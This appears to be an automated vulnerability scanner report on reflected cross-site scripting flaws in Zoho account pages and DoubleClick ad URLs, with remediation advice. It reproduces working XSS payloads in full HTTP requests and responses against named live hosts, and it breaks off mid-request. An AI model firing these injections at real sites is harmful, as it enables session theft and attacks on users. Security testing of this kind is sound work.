Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the pa request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 19cb2'><script>alert(1)</script>9b01dc2c9cc was submitted in the pa parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the serviceurl request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload ed7ba'><a%20b%3dc>0cf1f1b2316 was submitted in the serviceurl parameter. This input was echoed as ed7ba'><a b=c>0cf1f1b2316 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /login?service_language=en&hide_signup=true&servicename=ZohoDiscussions&serviceurl=http://forum.jquery.comed7ba'><a%20b%3dc>0cf1f1b2316 HTTP/1.1 Host: accounts.zoho.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the serviceurl request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3ac40'%3b70efc06911b was submitted in the serviceurl parameter. This input was echoed as 3ac40';70efc06911b in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /login?service_language=en&hide_signup=true&servicename=ZohoDiscussions&serviceurl=http://forum.jquery.com3ac40'%3b70efc06911b HTTP/1.1 Host: accounts.zoho.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
var enableReload = true; var serviceurl = 'http://forum.jquery.com3ac40';70efc06911b'; var servicename ='ZohoDiscussions'; var domain_label='null'; var domain_suffix='null'; var partner_domain='null'; var hidesecure = 'null'; ...[SNIP]...
The value of the css request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bca76"><a%20b%3dc>2982c3121fe was submitted in the css parameter. This input was echoed as bca76"><a b=c>2982c3121fe in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /register?service_language=en&servicename=ZohoDiscussions&serviceurl=http%3A%2F%2Fdiscussions.zoho.com%2FforumHome.do%3FforumGroupURL%3Djquery%26referrer%3DsignUp%26forumGroupId%3D14737000000003003&showheader=false&showGoogleYahoo=false&css=http://discussions.zoho.com/styles/iamregister.cssbca76"><a%20b%3dc>2982c3121fe HTTP/1.1 Host: accounts.zoho.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the serviceurl request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a0e39'%3b8e066d4099 was submitted in the serviceurl parameter. This input was echoed as a0e39';8e066d4099 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /register?service_language=en&servicename=ZohoDiscussions&serviceurl=http%3A%2F%2Fdiscussions.zoho.com%2FforumHome.do%3FforumGroupURL%3Djquery%26referrer%3DsignUp%26forumGroupId%3D14737000000003003a0e39'%3b8e066d4099&showheader=false&showGoogleYahoo=false&css=http://discussions.zoho.com/styles/iamregister.css HTTP/1.1 Host: accounts.zoho.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1.dtd">
<html> <head> <title>Create New Account</title> <script type="text ...[SNIP]... var validChars = /^[A-Za-z0-9_\.]+$/; var onlyNumbers = /^[0-9]+$/ var serviceurl = 'http://discussions.zoho.com/forumHome.do?forumGroupURL=jquery&referrer=signUp&forumGroupId=14737000000003003a0e39';8e066d4099'; var servicename ='ZohoDiscussions'; var partner_domain = 'null'; var blockedEmailDomain = '@zoho.com'; var csrfParam = 'iamcsrcoo=d1ac3184-af9a-4c9a-b6f3-0bcde1493894';
The value of the serviceurl request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a8b37'><a%20b%3dc>27f14c732a9 was submitted in the serviceurl parameter. This input was echoed as a8b37'><a b=c>27f14c732a9 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /register?service_language=en&servicename=ZohoDiscussions&serviceurl=http%3A%2F%2Fdiscussions.zoho.com%2FforumHome.do%3FforumGroupURL%3Djquery%26referrer%3DsignUp%26forumGroupId%3D14737000000003003a8b37'><a%20b%3dc>27f14c732a9&showheader=false&showGoogleYahoo=false&css=http://discussions.zoho.com/styles/iamregister.css HTTP/1.1 Host: accounts.zoho.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.7. http://ad.doubleclick.net/adi/N3740.270604.B3/B5123509.61 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.doubleclick.net
Path:
/adi/N3740.270604.B3/B5123509.61
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 47f95"-alert(1)-"7b5fb722fd8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3740.270604.B3/B5123509.61;sz=728x90;pc=[TPAS_ID];ord=1297259897490;click=http://a.rfihub.com/aci/124_0_YWE9MTU3MDUsNzM0MzMsMTQxMjEsNjgwODYsMTI0MywxNDk0MSx0RE1pYldadEtCXzEscCw3NzYsMjk0NiwzMjUyMSwxODc5LDc3OTImcmI9NDQ1JnJlPTE5OTY5&47f95"-alert(1)-"7b5fb722fd8=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre2599322834474&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 09 Feb 2011 13:59:22 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6103
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,082 Template Name = 2. Banner Creative (Flash) - In Pa ...[SNIP]... okv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://a.rfihub.com/aci/124_0_YWE9MTU3MDUsNzM0MzMsMTQxMjEsNjgwODYsMTI0MywxNDk0MSx0RE1pYldadEtCXzEscCw3NzYsMjk0NiwzMjUyMSwxODc5LDc3OTImcmI9NDQ1JnJlPTE5OTY5&47f95"-alert(1)-"7b5fb722fd8=1http%3a%2f%2ft.mookie1.com/t/v1/clk%3FmigAgencyId%3D188%26migSource%3Dadsrv2%26migTrackDataExt%3D2426847%3B58824910%3B234278619%3B39992677%26migRandom%3D627943%26migTrackFmtExt%3Dclient%3Bio%3Bad%3Bc ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e0038"-alert(1)-"d9468d0f92a was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3740.270604.B3/B5123509.61;sz=728x90;pc=[TPAS_ID];ord=1297259897490;click=http://a.rfihub.com/aci/124_0_YWE9MTU3MDUsNzM0MzMsMTQxMjEsNjgwODYsMTI0MywxNDk0MSx0RE1pYldadEtCXzEscCw3NzYsMjk0NiwzMjUyMSwxODc5LDc3OTImcmI9NDQ1JnJlPTE5OTY5e0038"-alert(1)-"d9468d0f92a HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre2599322834474&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 09 Feb 2011 13:59:09 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6015
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,082 Template Name = 2. Banner Creative (Flash) - In Pa ...[SNIP]... Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://a.rfihub.com/aci/124_0_YWE9MTU3MDUsNzM0MzMsMTQxMjEsNjgwODYsMTI0MywxNDk0MSx0RE1pYldadEtCXzEscCw3NzYsMjk0NiwzMjUyMSwxODc5LDc3OTImcmI9NDQ1JnJlPTE5OTY5e0038"-alert(1)-"d9468d0f92ahttp://t.mookie1.com/t/v1/clk?migAgencyId=188&migSource=adsrv2&migTrackDataExt=2426847;58824910;234278619;39992915&migRandom=614224&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://www.universi ...[SNIP]...
The value of the campID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d9f05"-alert(1)-"c3c6134ad58 was submitted in the campID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N553.martinimedianet/B4970757.3;sz=728x90;click=http://ad.technoratimedia.com/clk?2,13%3Bbc1ea512b36e66d9%3B12e0ab5bca4,0%3B%3B%3B2343140080,XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090d9f05"-alert(1)-"c3c6134ad58&crID=83961&pubICode=2076749&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=;pc=[TPAS_ID];ord=1297259805? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAjdtoAG.BBkBUMCqpE9AKQGQQWDm0SBlAl24Sg8DKHUDOzMzMzMwZQGZmZmZmZh5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADepf-VloGbCY5JXkJ8yQxUfqcfWMMwttvYibDSAAAAAA==,,http%3A%2F%2Fspeckyboy.com%2F,Z%3D728x90%26atf%3D0%26brw%3Dcr3%26efo%3D0%26os%3Dwn7%26pfm%3D1%26prm%3D0%26rtg%3Dga%26s%3D974763%26tblg%3Dch%26titn%3Dch%26tphv%3Dch%26ttch%3Dch%26uatRandNo%3D50691%26_salt%3D3626026624%26B%3D10%26u%3Dhttp%253A%252F%252Fspeckyboy.com%252F%26r%3D1,69b2d1fc-3454-11e0-860b-001b24784a62 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 09 Feb 2011 13:58:30 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7280
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... IAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090d9f05"-alert(1)-"c3c6134ad58&crID=83961&pubICode=2076749&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=http%3a%2f%2fpersonalsavings.americanexpress.com/savings-product.html"); var wmode = "opaque"; var b ...[SNIP]...
The value of the crID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d7da0"-alert(1)-"1e6bc067315 was submitted in the crID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N553.martinimedianet/B4970757.3;sz=728x90;click=http://ad.technoratimedia.com/clk?2,13%3Bbc1ea512b36e66d9%3B12e0ab5bca4,0%3B%3B%3B2343140080,XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961d7da0"-alert(1)-"1e6bc067315&pubICode=2076749&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=;pc=[TPAS_ID];ord=1297259805? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAjdtoAG.BBkBUMCqpE9AKQGQQWDm0SBlAl24Sg8DKHUDOzMzMzMwZQGZmZmZmZh5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADepf-VloGbCY5JXkJ8yQxUfqcfWMMwttvYibDSAAAAAA==,,http%3A%2F%2Fspeckyboy.com%2F,Z%3D728x90%26atf%3D0%26brw%3Dcr3%26efo%3D0%26os%3Dwn7%26pfm%3D1%26prm%3D0%26rtg%3Dga%26s%3D974763%26tblg%3Dch%26titn%3Dch%26tphv%3Dch%26ttch%3Dch%26uatRandNo%3D50691%26_salt%3D3626026624%26B%3D10%26u%3Dhttp%253A%252F%252Fspeckyboy.com%252F%26r%3D1,69b2d1fc-3454-11e0-860b-001b24784a62 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 09 Feb 2011 13:58:40 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7280
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... 7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961d7da0"-alert(1)-"1e6bc067315&pubICode=2076749&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=http%3a%2f%2fpersonalsavings.americanexpress.com/savings-product.html"); var wmode = "opaque"; var bg = "same a ...[SNIP]...
The value of the partnerID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66017"-alert(1)-"4b04cff3b6d was submitted in the partnerID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N553.martinimedianet/B4970757.3;sz=728x90;click=http://ad.technoratimedia.com/clk?2,13%3Bbc1ea512b36e66d9%3B12e0ab5bca4,0%3B%3B%3B2343140080,XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961&pubICode=2076749&pub=281215&partnerID=3866017"-alert(1)-"4b04cff3b6d&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=;pc=[TPAS_ID];ord=1297259805? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAjdtoAG.BBkBUMCqpE9AKQGQQWDm0SBlAl24Sg8DKHUDOzMzMzMwZQGZmZmZmZh5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADepf-VloGbCY5JXkJ8yQxUfqcfWMMwttvYibDSAAAAAA==,,http%3A%2F%2Fspeckyboy.com%2F,Z%3D728x90%26atf%3D0%26brw%3Dcr3%26efo%3D0%26os%3Dwn7%26pfm%3D1%26prm%3D0%26rtg%3Dga%26s%3D974763%26tblg%3Dch%26titn%3Dch%26tphv%3Dch%26ttch%3Dch%26uatRandNo%3D50691%26_salt%3D3626026624%26B%3D10%26u%3Dhttp%253A%252F%252Fspeckyboy.com%252F%26r%3D1,69b2d1fc-3454-11e0-860b-001b24784a62 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 09 Feb 2011 13:59:10 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7280
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... 04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961&pubICode=2076749&pub=281215&partnerID=3866017"-alert(1)-"4b04cff3b6d&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=http%3a%2f%2fpersonalsavings.americanexpress.com/savings-product.html"); var wmode = "opaque"; var bg = "same as SWF"; var dcallowscriptaccess = "never" ...[SNIP]...
The value of the pub request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ce398"-alert(1)-"d9ac9bb583e was submitted in the pub parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N553.martinimedianet/B4970757.3;sz=728x90;click=http://ad.technoratimedia.com/clk?2,13%3Bbc1ea512b36e66d9%3B12e0ab5bca4,0%3B%3B%3B2343140080,XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961&pubICode=2076749&pub=281215ce398"-alert(1)-"d9ac9bb583e&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=;pc=[TPAS_ID];ord=1297259805? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAjdtoAG.BBkBUMCqpE9AKQGQQWDm0SBlAl24Sg8DKHUDOzMzMzMwZQGZmZmZmZh5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADepf-VloGbCY5JXkJ8yQxUfqcfWMMwttvYibDSAAAAAA==,,http%3A%2F%2Fspeckyboy.com%2F,Z%3D728x90%26atf%3D0%26brw%3Dcr3%26efo%3D0%26os%3Dwn7%26pfm%3D1%26prm%3D0%26rtg%3Dga%26s%3D974763%26tblg%3Dch%26titn%3Dch%26tphv%3Dch%26ttch%3Dch%26uatRandNo%3D50691%26_salt%3D3626026624%26B%3D10%26u%3Dhttp%253A%252F%252Fspeckyboy.com%252F%26r%3D1,69b2d1fc-3454-11e0-860b-001b24784a62 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 